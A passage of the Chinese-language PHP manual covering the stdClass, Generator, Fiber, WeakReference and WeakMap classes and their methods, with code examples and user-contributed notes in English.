$obj = (object) array('foo' => 'bar');
var_dump($obj);

以上示例会输出：

object(stdClass)#1 (1) {
  ["foo"]=>
  string(3) "bar"
}

Example #2 通过 json_decode() 创建

<?php
$json = '{"foo":"bar"}';
var_dump(json_decode($json));

以上示例会输出：

object(stdClass)#1 (1) {
  ["foo"]=>
  string(3) "bar"
}

Example #3 声明动态属性

<?php
$obj = new stdClass();
$obj->foo = 42;
$obj->{1} = 42;
var_dump($obj);

以上示例会输出：

object(stdClass)#1 (2) {
  ["foo"]=>
  int(42)
  ["1"]=>
  int(42)
}

User Contributed Notes

Mats M 13-Jan-2023 07:52
In PHP8 this has been changed

https://www.php.net/manual/en/migration80.incompatible.php

A number of warnings have been converted into Error exceptions:

Attempting to write to a property of a non-object. Previously this implicitly created an stdClass object for null, false and empty strings.

So if you add properties to a $var, you first need to make it a stdClass()

$var = new stdClass();
$var->propp1 = "nice";
$var->propp2 = 1234;


生成器类

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

简介

Generator 对象是从 generators返回的.

Caution

Generator 对象不能通过 new 实例化.

类摘要

final class Generator implements Iterator {
/* 方法 */
public current(): mixed
public getReturn(): mixed
public key(): mixed
public next(): void
public rewind(): void
public send(mixed $value): mixed
public throw(Throwable $exception): mixed
public valid(): bool
public __wakeup(): void
}

参见

也可以参考 遍历对象。

Table of Contents

  • Generator::current — 返回当前产生的值
  • Generator::getReturn — 获取生成器的返回值
  • Generator::key — 返回当前产生的键
  • Generator::next — 生成器继续执行
  • Generator::rewind — 重置迭代器
  • Generator::send — 向生成器中传入一个值
  • Generator::throw — 向生成器中抛入一个异常
  • Generator::valid — 检查迭代器是否被关闭
  • Generator::__wakeup — 序列化回调

User Contributed Notes

Pistachio 05-Feb-2016 12:04
Unlike return, yield can be used anywhere within a function so logic can flow more naturally. Take for example the following Fibonacci generator:

<?php
function fib($n)
{
    $cur = 1;
    $prev = 0;
    for ($i = 0; $i < $n; $i++) {
        yield $cur;

        $temp = $cur;
        $cur = $prev + $cur;
        $prev = $temp;
    }
}

$fibs = fib(9);
foreach ($fibs as $fib) {
    echo " " . $fib;
}

// prints: 1 1 2 3 5 8 13 21 34


返回当前产生的值

  • ? Generator
  • Generator::getReturn ?
  • PHP Manual
  • Generator
  • 返回当前产生的值

Generator::current

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::current — 返回当前产生的值

说明

public Generator::current(): mixed

参数

此函数没有参数。

返回值

返回当前产生的值。

User Contributed Notes

gib-o-master 12-Nov-2021 02:41
current() advances untouched generator, same as next(), it makes the first step/iteration. the following calls will not.

non-yielded value will be NULL
mrsoftware73 at gmail dot com 30-Jan-2018 10:48
<?php
function gen_one_to_three() {
    for ($i = 1; $i <= 3; $i++) {
        // Note that $i is preserved between yields.
        yield $i;
    }
}

$generator = gen_one_to_three();
foreach ($generator as $value) {
    echo "regular : ".$value , PHP_EOL;
    echo "With current function : ".$generator->current(),PHP_EOL;
}
?>


获取生成器的返回值

  • ? Generator::current
  • Generator::key ?
  • PHP Manual
  • Generator
  • 获取生成器的返回值

Generator::getReturn

(PHP 7, PHP 8)

Generator::getReturn — 获取生成器的返回值

说明

public Generator::getReturn(): mixed

参数

此函数没有参数。

返回值

在生成器执行完成后，获取生成器的 return 值。

示例

Example #1 Generator::getReturn() 示例

<?php

$gen = (function() {
yield 1;
yield 2;

return 3;
})();

foreach ($gen as $val) {
echo $val, PHP_EOL;
}

echo $gen->getReturn(), PHP_EOL;

以上示例会输出：

1
2
3

User Contributed Notes

Hayley Watson 31-Oct-2018 11:58
Just to be clear, the value returned by a generator is not yielded while it is running, but is available afterwards through the getReturn() method.

One use for this could be to record the output of a generator so that it can be iterated over again without having to reconstruct and re-run the generator. (Indeed, one could write a generator that simply does exactly this for any given iterable.)

<?php
function generate_squares($n)
{
    $record = [];
    for($i = 0; $i <= $n; ++$i)
    {
        yield ($record[] = $i * $i);
    }
    return $record;
}

$squares = generate_squares(10);
foreach($squares as $s)
{
    echo $s, ' ';
}
$recorded = $squares->getReturn();
echo "\nThat's [", join(', ', $recorded), "]";
?>

Recording keys as well would take a bit more work, as generators are free to repeat them but arrays aren't.
brandon at cryy dot com 05-Oct-2017 11:18
I'm not quite sure -- I feel there is an ambiguity issue here with returning a value inside a generator and ->getReturn() method of such generator as I have been able to return an array of sorts, something like this:

function dequeue(){
try{
  foreach($this->buffer->data as $data){ ... }
}
  return $statistics;
}

foreach(($generator = $this->dequeue()) as $bdata){
.....
}

if($statistics = $generator->getReturn()){
 // generator returns $statistics
}

Obviously this is not a complete example, but $statistics does become available with the returned array.
pemapmodder1970 at gmail dot com 28-Jul-2017 09:24
The note by jm at guide42 dot com is inaccurate. Generator::getReturn() does not check the existence of the return statement, but rather whether the function has returned (finished executing).

<?php
function f(){
  yield;
}

f()->getReturn(); // Exception: Cannot get return value of a generator that hasn't returned

$f = f();
$f->next(); // NULL
$f->getReturn(); // NULL, because having no return statement implies an empty `return;`, and the void return value is resolved to null.
jm at guide42 dot com 01-Aug-2016 05:59
Be careful that `->getReturn()` will throw an exception if no return is present in the generator:

<?php
function g() {
    yield 'A';
}
try {
    g()->getReturn();
} catch (Exception $ex) {
    var_dump($ex->getMessage());
    // Cannot get return value of a generator that hasn't returned
}
?>


返回当前产生的键

  • ? Generator::getReturn
  • Generator::next ?
  • PHP Manual
  • Generator
  • 返回当前产生的键

Generator::key

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::key — 返回当前产生的键

说明

public Generator::key(): mixed

获取产生的值的键

参数

此函数没有参数。

返回值

返回当前产生的键。

示例

Example #1 Generator::key() example

<?php

function Gen()
{
yield 'key' => 'value';
}

$gen = Gen();

echo "{$gen->key()} => {$gen->current()}";

以上示例会输出：

key => value

User Contributed Notes

jasonrlester at yahoo dot com 04-Jun-2022 05:59
This is important when considering how other Generators work such as JavaScript's an Python's. While PHP's generator has the ->valid() method they don't, or an equivalent. JS uses Iterator protocol which says next() should return an object of

{
    done: bool,
    value: mixed
}

In which case you can use keys->done to see if the generator can still be iterated.


生成器继续执行

  • ? Generator::key
  • Generator::rewind ?
  • PHP Manual
  • Generator
  • 生成器继续执行

Generator::next

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::next — 生成器继续执行

说明

public Generator::next(): void

调用 Generator::next() 与以 null 作为参数调用 Generator::send() 具有同样的效果。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


重置迭代器

  • ? Generator::next
  • Generator::send ?
  • PHP Manual
  • Generator
  • 重置迭代器

Generator::rewind

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::rewind — 重置迭代器

说明

public Generator::rewind(): void

如果迭代已经开始了，这里会抛出一个异常。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

i&#39;m pati on stackoverflow 05-Apr-2016 04:16
Actually, this method can be useful to test a generator before iterating, as it executes your function up to the first yield statement. I.e. if you try to read a non-existent file in a generator, an error will normally occur only in client code foreach()'s first iteration. Sometimes this can be critical to check beforehand.

Take a look at a modified example from here:
http://php.net/manual/ru/language.generators.overview.php#112985

<?php

function getLines($file) {
    $f = fopen($file, 'r');
    try {
        while ($line = fgets($f)) {
            yield $line;
        }
    } finally {
        fclose($f);
    }
}

$getLines = getLines('no_such_file.txt');
$getLines->rewind(); // with ->rewind(), a file read error will be thrown here and a log file will not be cleared

openAndClearLogFile();

foreach ($getLines as $n => $line) { // without ->rewind(), the script will die here and your log file will be cleared
    writeToLogFile('reading: ' . $line . "\n");
}

closeLogFile();

?>

P.S.: When you iterate over a generator after ->rewind(), you'll get the first yielded value immediately, as the preceding code was already executed.
uther at somewherebetweennowhere dot net 27-Jul-2015 11:38
I'm guessing the *only* purpose for this even existing is so that it is compatible with the Iterator interface o_O


向生成器中传入一个值

  • ? Generator::rewind
  • Generator::throw ?
  • PHP Manual
  • Generator
  • 向生成器中传入一个值

Generator::send

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::send — 向生成器中传入一个值

说明

public Generator::send(mixed $value): mixed

向生成器中传入一个值，并且当做 yield 表达式的结果，然后继续执行生成器。

如果当这个方法被调用时，生成器不在 yield 表达式，那么在传入值之前，它会先运行到第一个 yield 表达式。 因此没有必要调用 Generator::next() 让 PHP 生成器 "准备"（就像是 Python 那样做）。

参数

value

传入生成器的值。这个值将会被作为生成器当前所在的 yield 的返回值

返回值

返回生成的值。

示例

Example #1 用 Generator::send() 向生成器函数中传值

<?php
function printer() {
echo "I'm printer!".PHP_EOL;
while (true) {
$string = yield;
echo $string.PHP_EOL;
}
}

$printer = printer();
$printer->send('Hello world!');
$printer->send('Bye world!');
?>

以上示例会输出：

I'm printer!
Hello world!
Bye world!

User Contributed Notes

php at didatus dot de 10-May-2021 08:09
If you want to use generator::send() within a foreach loop, you will most likely get an unexpected result. The Generator::send() method resumes the generator, which means the pointer within the generator is moved to the next element in the generator list.

Here is an example:

<?php

class ApiDummy
{
    private static $apiDummyData = ['a', 'b', 'c', 'd', 'e'];

    public static function getAll(): Generator {
        foreach (self::$apiDummyData as $entry) {
            echo 'yielding $elem' . PHP_EOL;
            $newElem = (yield $entry);
            echo 'yield return: ' . $newElem . PHP_EOL;
        }
    }
}

$generator = ApiDummy::getAll();

// example iteration one with unexpected result
foreach ($generator as $elem) {
    echo 'value from generator: ' . $elem . PHP_EOL;
    $generator->send($elem . '+');
}

// example iteration two with the expected result
while ($generator->valid()) {
    $elem = $generator->current();
    echo 'value from generator: ' . $elem . PHP_EOL;
    $generator->send($elem . '+');
}
?>

The result of example iteration one:
yielding $elem
value from generator: a
yield return: a+
yielding $elem
yield return:
yielding $elem
value from generator: c
yield return: c+
yielding $elem
yield return:
yielding $elem
value from generator: e
yield return: e+

As you can see, the values b and d are not printed out and also not extended by the + sign.
The foreach loop receives the first yield and the send call causes a second yield within the first loop. Therefor the second loop already receives the third yield and so on.

To avoid this, one solution could be to use a while loop and the Generator::send() method to move the generator cursor forward and the Generator::current() method to retrieve the current value. The loop can be controlled with the Generator::valid() method which returns false, if the generator has finished. See example iterator two.

The expected result of example iteration two:
yielding $elem
value from generator: a
yield return: a+
yielding $elem
value from generator: b
yield return: b+
yielding $elem
value from generator: c
yield return: c+
yielding $elem
value from generator: d
yield return: d+
yielding $elem
value from generator: e
yield return: e+
baohx2000 at gmail dot com 24-Oct-2019 07:15
I have found that inverse generators (using $x = yield) is a great way to handle chunked batch processing. As data is being iterated, once a specific count has been fed to the generator, it processes and resets the data. For example, you could do a batch mysql insert every 500 records.

Example (note the handling of null, which you would send to the generator to handle stragglers after the previous batch)

function importer()
{
  $max = 500;
  $items = [];
  while (true) {
    $item = yield;
    if ($item !== null) {
      $items[] = yield;
    }
    if ($item === null || count($items) >= $max) {
       // do batch operations
       $items = [];
    }
  }
}
anonymous at example dot com 21-Jun-2019 10:38
As of 7.3, the behavior of a generator in a foreach loop depends on whether or not it expects to receive data. Relevant if you are experiencing "skips".

<?php
class X implements IteratorAggregate {
    public function getIterator(){
        yield from [1,2,3,4,5];
    }
    public function getGenerator(){
        foreach ($this as $j => $each){
            echo "getGenerator(): yielding: {$j} => {$each}\n";
            $val = (yield $j => $each);
            yield; // ignore foreach's next()
            echo "getGenerator(): received: {$j} => {$val}\n";
        }
    }
}
$x = new X;

foreach ($x as $i => $val){
    echo "getIterator(): {$i} => {$val}\n";
}
echo "\n";

$gen = $x->getGenerator();
foreach ($gen as $j => $val){
    echo "getGenerator(): sending:  {$j} => {$val}\n";
    $gen->send($val);
}
?>

getIterator(): 0 => 1
getIterator(): 1 => 2
getIterator(): 2 => 3
getIterator(): 3 => 4
getIterator(): 4 => 5

getGenerator(): yielding: 0 => 1
getGenerator(): sending:  0 => 1
getGenerator(): received: 0 => 1
getGenerator(): yielding: 1 => 2
getGenerator(): sending:  1 => 2
getGenerator(): received: 1 => 2
getGenerator(): yielding: 2 => 3
getGenerator(): sending:  2 => 3
getGenerator(): received: 2 => 3
getGenerator(): yielding: 3 => 4
getGenerator(): sending:  3 => 4
getGenerator(): received: 3 => 4
getGenerator(): yielding: 4 => 5
getGenerator(): sending:  4 => 5
getGenerator(): received: 4 => 5
kexianbin at diyism dot com 29-Sep-2015 06:47
an example:

$coroutine=call_user_func(create_function('', <<<'fun_code'
    echo "inner 1:\n";
    $rtn=(yield 'yield1');
    echo 'inner 2:';var_export($rtn);echo "\n";
    $rtn=(yield 'yield2');
    echo 'inner 3:';var_export($rtn);echo "\n";
    $rtn=(yield 'yield3');
    echo 'inner 4:';var_export($rtn);echo "\n";
fun_code
));
echo ":outer 1\n";                                       // :outer 1
var_export($coroutine->current());echo ":outer 2\n";     // inner 1:, 'yield1':outer 2
var_export($coroutine->current());echo ":outer 3\n";     // 'yield1':outer 3
var_export($coroutine->next());echo ":outer 4\n";        // inner 2:NULL, NULL:outer 4
var_export($coroutine->current());echo ":outer 5\n";     // 'yield2':outer 5
var_export($coroutine->send('jack'));echo ":outer 6\n";  // inner 3:'jack', 'yield3':outer 6
var_export($coroutine->current());echo ":outer 7\n";     // 'yield3':outer 7
var_export($coroutine->send('peter'));echo ":outer 8\n"; // inner 4:'peter', NULL:outer 8
sergei dot solomonov at gmail dot com 08-Oct-2013 06:30
<?php
function foo() {
    $string = yield;
    echo $string;
    for ($i = 1; $i <= 3; $i++) {
        yield $i;
    }
}

$generator = foo();
$generator->send('Hello world!');
foreach ($generator as $value) echo "$value\n";
?>

This code falls with the error:
PHP Fatal error:  Uncaught exception 'Exception' with message 'Cannot rewind a generator that was already run'.
foreach internally calls rewind, you should remember this!
sfroelich01 at sp dot gm dot ail dot am dot com 17-Jul-2013 12:11
Reading the example, it is a bit difficult to understand what exactly to do with this. The example below is a simple example of what you can do this.

<?php
function nums() {
    for ($i = 0; $i < 5; ++$i) {
                //get a value from the caller
        $cmd = (yield $i);

        if($cmd == 'stop')
            return;//exit the function
        }
}

$gen = nums();
foreach($gen as $v)
{
    if($v == 3)//we are satisfied
        $gen->send('stop');

    echo "{$v}\n";
}

//Output
0
1
2
3
?>


向生成器中抛入一个异常

  • ? Generator::send
  • Generator::valid ?
  • PHP Manual
  • Generator
  • 向生成器中抛入一个异常

Generator::throw

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::throw — 向生成器中抛入一个异常

说明

public Generator::throw(Throwable $exception): mixed

抛出一个异常到生成器并恢复生成器的执行。 与当前 yield 表达式被 throw $exception 语句替换是一样的行为。

如果调用此方法时生成器已经关闭，则将会在调用者的上下文中抛出异常。

参数

exception

抛出异常到生成器。

返回值

返回生成的值。

示例

Example #1 抛出异常到生成器

<?php
function gen() {
echo "Foo\n";
try {
yield;
} catch (Exception $e) {
echo "Exception: {$e->getMessage()}\n";
}
echo "Bar\n";
}

$gen = gen();
$gen->rewind();
$gen->throw(new Exception('Test'));
?>

以上示例会输出：

Foo
Exception: Test
Bar

User Contributed Notes

gt199899 at gmail dot com 13-Nov-2017 11:38
$gen = (function () {
    try {
        yield 1;
    } catch (Exception $e) {
        echo $e->getMessage();
    }
})();

$gen->throw(new Exception('gen throw exception'));
gt199899 at gmail dot com 13-Nov-2017 11:37
$gen = (function () {
    try {
        yield 1;
    } catch (Exception $e) {
        echo $e->getMessage();
    }
})();

$gen->throw(new Exception('gen throw exception'));
jeudipolanco at ymail dot com 30-Aug-2016 09:31
there have errors the form correct to do that is of this way:

 function gen() {
    echo "Foo\n";
    try {

    throw new Exception('Prueba');

    } catch (Exception $e) {
        echo "Excepción: {$e->getMessage()}\n";
    }
    echo "Bar\n";
}

 gen();

 i resolved one tecnic of how work getMessage look at it:

$myarray=array();

if($respuesta == "Mark"){

for($i=5;$i<=16;$i++){
try {

    $palabra="soy la excepcion en la linea:".$i;

     throw new Exception($palabra);

}
catch(Exception $e) {

        $myarray[$e->getLine()] =$palabra;

        if($e->getLine() == $i){
  echo "<br><b>La excepción se creó en la línea : " .$e->getLine()."LA LINEA DICE:". $myarray[$e->getLine()]."</b>";
}//if

}//catch

}//for

}//if


检查迭代器是否被关闭

  • ? Generator::throw
  • Generator::__wakeup ?
  • PHP Manual
  • Generator
  • 检查迭代器是否被关闭

Generator::valid

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::valid — 检查迭代器是否被关闭

说明

public Generator::valid(): bool

参数

此函数没有参数。

返回值

如果迭代器已被关闭返回 false，否则返回 true。

User Contributed Notes

Igor Frolov 17-May-2019 10:01
Notice if you call it with open empty generator, it will close while checking.


序列化回调

  • ? Generator::valid
  • Fiber ?
  • PHP Manual
  • Generator
  • 序列化回调

Generator::__wakeup

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::__wakeup — 序列化回调

说明

public Generator::__wakeup(): void

抛出一个异常以表示生成器不能被序列化。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


纤程（Fiber）类

(PHP 8 >= 8.1.0)

简介

纤程（Fiber）代表了有完整栈、可中断的功能。Fiber 可以从调用堆栈中的任何位置挂起，在 fiber 内暂停执行，直到稍后恢复 fiber。

类摘要

final class Fiber {
/* 方法 */
public __construct(callable $callback)
public start(mixed ...$args): mixed
public resume(mixed $value = null): mixed
public throw(Throwable $exception): mixed
public getReturn(): mixed
public isStarted(): bool
public isSuspended(): bool
public isRunning(): bool
public isTerminated(): bool
public static suspend(mixed $value = null): mixed
public static getCurrent(): ?Fiber
}

参见

纤程概述

Table of Contents

  • Fiber::__construct — 创建新的 Fiber 实例
  • Fiber::start — 启动 fiber 的执行
  • Fiber::resume — 使用值恢复 fiber 的执行
  • Fiber::throw — 用一个异常来恢复 fiber 的执行
  • Fiber::getReturn — 获取 Fiber 的返回值
  • Fiber::isStarted — 确定 fiber 是否启动
  • Fiber::isSuspended — 确认 fiber 是否挂起
  • Fiber::isRunning — 确认 fiber 是否正在运行
  • Fiber::isTerminated — 确认 fiber 是否终止
  • Fiber::suspend — 暂停当前 fiber 的执行
  • Fiber::getCurrent — 获取当前正在执行的 Fiber 实例

User Contributed Notes

There are no user contributed notes for this page.


创建新的 Fiber 实例

  • ? Fiber
  • Fiber::start ?
  • PHP Manual
  • Fiber
  • 创建新的 Fiber 实例

Fiber::__construct

(PHP 8 >= 8.1.0)

Fiber::__construct — 创建新的 Fiber 实例

说明

public Fiber::__construct(callable $callback)

参数

callback

启动 fiber 时调用 callable。提供给 Fiber::start() 的参数，也将是调用 callable 时的参数。

User Contributed Notes

There are no user contributed notes for this page.


启动 fiber 的执行

  • ? Fiber::__construct
  • Fiber::resume ?
  • PHP Manual
  • Fiber
  • 启动 fiber 的执行

Fiber::start

(PHP 8 >= 8.1.0)

Fiber::start — 启动 fiber 的执行

说明

public Fiber::start(mixed ...$args): mixed

当构造 fiber 时提供用于 callable 的可变参数列表。

如果调用此方法时 fiber 已经启动，则会抛出 FiberError。

参数

args

该参数用于调用 fiber 构造函数内指定的 callable。

返回值

首次调用 Fiber::suspend() 提供的值；如果 fiber 已返回，则是 null。 如果 fiber 在挂起前抛出异常，那么会在调用此方法时的位置抛出异常。

User Contributed Notes

Astrid 18-Dec-2021 01:49
Maybe this helps wrapping your had around the start-suspend-resume-return circle:

$fiber = new Fiber(
    function($one) {
        $two = Fiber::suspend($one);
        $three = Fiber::suspend($two);
        $four = Fiber::suspend($three);
        $five = Fiber::suspend($four);
        $six = Fiber::suspend($five);
        return $six;
    }
);

print $fiber->start(1);
print $fiber->resume(2);
print $fiber->resume(3);
print $fiber->resume(4);
print $fiber->resume(5);
print $fiber->resume(6);
print $fiber->getReturn();

//prints 123456


使用值恢复 fiber 的执行

  • ? Fiber::start
  • Fiber::throw ?
  • PHP Manual
  • Fiber
  • 使用值恢复 fiber 的执行

Fiber::resume

(PHP 8 >= 8.1.0)

Fiber::resume — 使用值恢复 fiber 的执行

说明

public Fiber::resume(mixed $value = null): mixed

使用给定值作为当前 Fiber::suspend() 调用的结果来恢复 fiber。

如果调用此方法时 fiber 还没挂起，将会抛出 FiberError。

参数

value

恢复 fiber 的值。这个值将会从当前调用 Fiber::suspend() 中返回。

返回值

如果 fiber 已返回，将是 null；否则就是下次调用 Fiber::suspend() 时提供的值。 如果 fiber 暂停前抛出一个异常，它将会从调用本方法时的位置抛出异常。

User Contributed Notes

There are no user contributed notes for this page.


用一个异常来恢复 fiber 的执行

  • ? Fiber::resume
  • Fiber::getReturn ?
  • PHP Manual
  • Fiber
  • 用一个异常来恢复 fiber 的执行

Fiber::throw

(PHP 8 >= 8.1.0)

Fiber::throw — 用一个异常来恢复 fiber 的执行

说明

public Fiber::throw(Throwable $exception): mixed

在当前调用 Fiber::suspend() 的位置抛出指定的异常，恢复 fiber 执行。

如果调用此方法时 fiber 未挂起，将抛出 FiberError。

参数

exception

在当前调用 Fiber::suspend() 所在的位置，要抛出的异常。

返回值

下次调用 Fiber::suspend() 所提供的值；如果 fiber 已返回，则是 null。 如果 fiber 暂停前抛出一个异常，它将会从调用本方法的位置抛出。

User Contributed Notes

There are no user contributed notes for this page.


获取 Fiber 的返回值

  • ? Fiber::throw
  • Fiber::isStarted ?
  • PHP Manual
  • Fiber
  • 获取 Fiber 的返回值

Fiber::getReturn

(PHP 8 >= 8.1.0)

Fiber::getReturn — 获取 Fiber 的返回值

说明

public Fiber::getReturn(): mixed

参数

此函数没有参数。

返回值

返回的值是 Fiber::__construct() 参数 callable 所返回的值。 如果因为 Fiber 没有启动、没有正常终止、抛出异常等等，导致没有返回值，将抛出 FiberError 异常。

User Contributed Notes

There are no user contributed notes for this page.


确定 fiber 是否启动

  • ? Fiber::getReturn
  • Fiber::isSuspended ?
  • PHP Manual
  • Fiber
  • 确定 fiber 是否启动

Fiber::isStarted

(PHP 8 >= 8.1.0)

Fiber::isStarted — 确定 fiber 是否启动

说明

public Fiber::isStarted(): bool

参数

此函数没有参数。

返回值

只有在 fiber 启动后返回 true，否则返回 false。

User Contributed Notes

There are no user contributed notes for this page.


确认 fiber 是否挂起

  • ? Fiber::isStarted
  • Fiber::isRunning ?
  • PHP Manual
  • Fiber
  • 确认 fiber 是否挂起

Fiber::isSuspended

(PHP 8 >= 8.1.0)

Fiber::isSuspended — 确认 fiber 是否挂起

说明

public Fiber::isSuspended(): bool

参数

此函数没有参数。

返回值

如果 fiber 当前挂起则返回 true 否则返回 false。

User Contributed Notes

There are no user contributed notes for this page.


确认 fiber 是否正在运行

  • ? Fiber::isSuspended
  • Fiber::isTerminated ?
  • PHP Manual
  • Fiber
  • 确认 fiber 是否正在运行

Fiber::isRunning

(PHP 8 >= 8.1.0)

Fiber::isRunning — 确认 fiber 是否正在运行

说明

public Fiber::isRunning(): bool

参数

此函数没有参数。

返回值

仅在 fiber 运行时返回 true。在调用 Fiber::start()、Fiber::resume()、 Fiber::throw() 还没有返回之后，将认为 fiber 正在运行。如果 fiber 没有运行则返回 false。

User Contributed Notes

There are no user contributed notes for this page.


确认 fiber 是否终止

  • ? Fiber::isRunning
  • Fiber::suspend ?
  • PHP Manual
  • Fiber
  • 确认 fiber 是否终止

Fiber::isTerminated

(PHP 8 >= 8.1.0)

Fiber::isTerminated — 确认 fiber 是否终止

说明

public Fiber::isTerminated(): bool

参数

此函数没有参数。

返回值

如果 fiber 因为已返回或抛出了异常，处于终止状态，则返回 true，否则返回 false。

User Contributed Notes

There are no user contributed notes for this page.


暂停当前 fiber 的执行

  • ? Fiber::isTerminated
  • Fiber::getCurrent ?
  • PHP Manual
  • Fiber
  • 暂停当前 fiber 的执行

Fiber::suspend

(PHP 8 >= 8.1.0)

Fiber::suspend — 暂停当前 fiber 的执行

说明

public static Fiber::suspend(mixed $value = null): mixed

暂停当前 fiber 的执行。调用 Fiber::start()、 Fiber::resume()、 Fiber::throw() 将执行切换到当前 fiber 时，提供给本方法的值，也将是这几个方法所返回的值，

当 fiber 恢复后，此方法的返回值是 Fiber::resume() 所提供的值。 如果 fiber 使用 Fiber::throw() 恢复，则把传入的异常在调用本方法的位置抛出。

如果此方法是用 fiber 外部调用，将会抛出 FiberError。

参数

value

该值会在调用 Fiber::start()、 Fiber::resume()、 Fiber::throw() 时作为返回值，并将执行切换到当前 fiber。

返回值

提供给 Fiber::resume() 的值。

User Contributed Notes

There are no user contributed notes for this page.


获取当前正在执行的 Fiber 实例

  • ? Fiber::suspend
  • WeakReference ?
  • PHP Manual
  • Fiber
  • 获取当前正在执行的 Fiber 实例

Fiber::getCurrent

(PHP 8 >= 8.1.0)

Fiber::getCurrent — 获取当前正在执行的 Fiber 实例

说明

public static Fiber::getCurrent(): ?Fiber

参数

此函数没有参数。

返回值

返回当前正在执行的 Fiber 实例，如果在 Fiber 外部调用此方法，则返回 null。

User Contributed Notes

There are no user contributed notes for this page.


WeakReference 类

(PHP 7 >= 7.4.0, PHP 8)

简介

弱引用可以指向一个对象，并且不阻止对象的销毁。可以实现具有对象结构的缓存。

弱引用类不能序列化。

类摘要

final class WeakReference {
/* 方法 */
public __construct()
public static create(object $object): WeakReference
public get(): ?object
}

弱引用示例

Example #1 弱引用的基础用法

<?php
$obj = new stdClass;
$weakref = WeakReference::create($obj);
var_dump($weakref->get());
unset($obj);
var_dump($weakref->get());
?>

以上示例的输出类似于：

object(stdClass)#1 (0) {
}
NULL

Table of Contents

  • WeakReference::__construct — 不允许实例化的构造函数
  • WeakReference::create — 创建新的弱引用
  • WeakReference::get — 获取弱引用对象

User Contributed Notes

There are no user contributed notes for this page.


不允许实例化的构造函数

  • ? WeakReference
  • WeakReference::create ?
  • PHP Manual
  • WeakReference
  • 不允许实例化的构造函数

WeakReference::__construct

(PHP 7 >= 7.4.0, PHP 8)

WeakReference::__construct — 不允许实例化的构造函数

说明

public WeakReference::__construct()

这个方法的存在只是为了禁止实例化 WeakReference 类。 弱引用使用工厂方法 WeakReference::create() 进行实例化。

参数

此函数没有参数。

参见

  • WeakReference::create() - 创建新的弱引用

User Contributed Notes

There are no user contributed notes for this page.


创建新的弱引用

  • ? WeakReference::__construct
  • WeakReference::get ?
  • PHP Manual
  • WeakReference
  • 创建新的弱引用

WeakReference::create

(PHP 7 >= 7.4.0, PHP 8)

WeakReference::create — 创建新的弱引用

说明

public static WeakReference::create(object $object): WeakReference

创建新的 WeakReference。

参数

object

要弱引用的对象。

返回值

返回刚刚实例化的对象。

User Contributed Notes

There are no user contributed notes for this page.


获取弱引用对象

  • ? WeakReference::create
  • WeakMap ?
  • PHP Manual
  • WeakReference
  • 获取弱引用对象

WeakReference::get

(PHP 7 >= 7.4.0, PHP 8)

WeakReference::get — 获取弱引用对象

说明

public WeakReference::get(): ?object

获取弱引用对象。 如果对象已销毁，则返回 null。

参数

此函数没有参数。

返回值

返回引用的 object，如果对象已销毁，则返回 null。

User Contributed Notes

There are no user contributed notes for this page.


WeakMap 类

(PHP 8)

简介

WeakMap 是将对象作为 key 来访问的 map（或者说字典）。然而，与其它类似 SplObjectStorage 不同，WeakMap 中的对象 key 不影响对象的引用计数。也就是说，如果在任何时候对其唯一的剩余引用是 WeakMap key，那么该对象将会被垃圾收集并从 WeakMap 移除。它的主要用法是从对象中编译数据派生缓存，这种场景下不需要存活得比对象更久。

WeakMap 实现了 ArrayAccess、 Iterator、Countable， 因此大多数情况下，它能和关联数组一样使用。

类摘要

final class WeakMap implements ArrayAccess, Countable, IteratorAggregate {
/* 方法 */
public count(): int
public getIterator(): Iterator
public offsetExists(object $object): bool
public offsetGet(object $object): mixed
public offsetSet(object $object, mixed $value): void
public offsetUnset(object $object): void
}

示例

Example #1 Weakmap 用法示例

<?php
$wm = new WeakMap();

$o = new stdClass;

class A {
public function __destruct() {
echo "Dead!\n";
}
}

$wm[$o] = new A;

var_dump(count($wm));
echo "Unsetting...\n";
unset($o);
echo "Done\n";
var_dump(count($wm));

以上示例会输出：

int(1)
Unsetting...
Dead!
Done
int(0)

Table of Contents

  • WeakMap::count — 统计 map 中存活实体的数量
  • WeakMap::getIterator — 接收一个外部迭代器
  • WeakMap::offsetExists — 检测 map 中是否存在某个对象
  • WeakMap::offsetGet — 返回某个对象指向的值
  • WeakMap::offsetSet — 更新 map 新的键值对
  • WeakMap::offsetUnset — 从 map 中移除一条

User Contributed Notes

Samu 17-Nov-2023 10:18
PHP's implementation of WeakMap allows for iterating over the contents of the weak map, hence it's important to understand why it is sometimes dangerous and requires careful thought.

If the objects of the WeakMap are "managed" by other services such as Doctrine's EntityManager, it is never safe to assume that if the object still exists in the weak map, it is still managed by Doctrine and therefore safe to consume.

Doctrine might have already thrown that entity away but some unrelated piece of code might still hold a reference to it, hence it still existing in the map as well.

If you are placing managed objects into the WeakMap and later iterating over the WeakMap (e.g. after Doctrine flush), then for each such object you must verify that it is still valid in the context of the source of the object.

For example assigning a detached Doctrine entity to another entity's property would result in errors about non-persisted / non-managed entities being found in the hierarchy.
mrblc at example dot com 06-Apr-2023 09:46
@ malferov at gmail dot com

It works as intended. As soon as:
<?php
$wp[new stdClass()] = 'value';
?>
is executed, number of references is zero and garbage collector will remove it.
malferov at gmail dot com 17-Feb-2023 10:29
<?php

$wp = new WeakMap();

// It's not working.
// Has no error but not adding dynamically specifying object to map;
// garbage collector will not be able to clear unnamed value, as I suppose
$wp[new stdClass()] = 'value';
echo $wp->count() . PHP_EOL; // 0

// It's working, as expected
$obj = new stdClass();
$wp[$obj] = 'value';
echo $wp->count(); // 1


统计 map 中存活实体的数量

  • ? WeakMap
  • WeakMap::getIterator ?
  • PHP Manual
  • WeakMap
  • 统计 map 中存活实体的数量

WeakMap::count

(PHP 8)

WeakMap::count — 统计 map 中存活实体的数量

说明

public WeakMap::count(): int

统计 map 中存活实体的数量。

参数

此函数没有参数。

返回值

返回 map 中存活实体的数量。

User Contributed Notes

There are no user contributed notes for this page.


接收一个外部迭代器

  • ? WeakMap::count
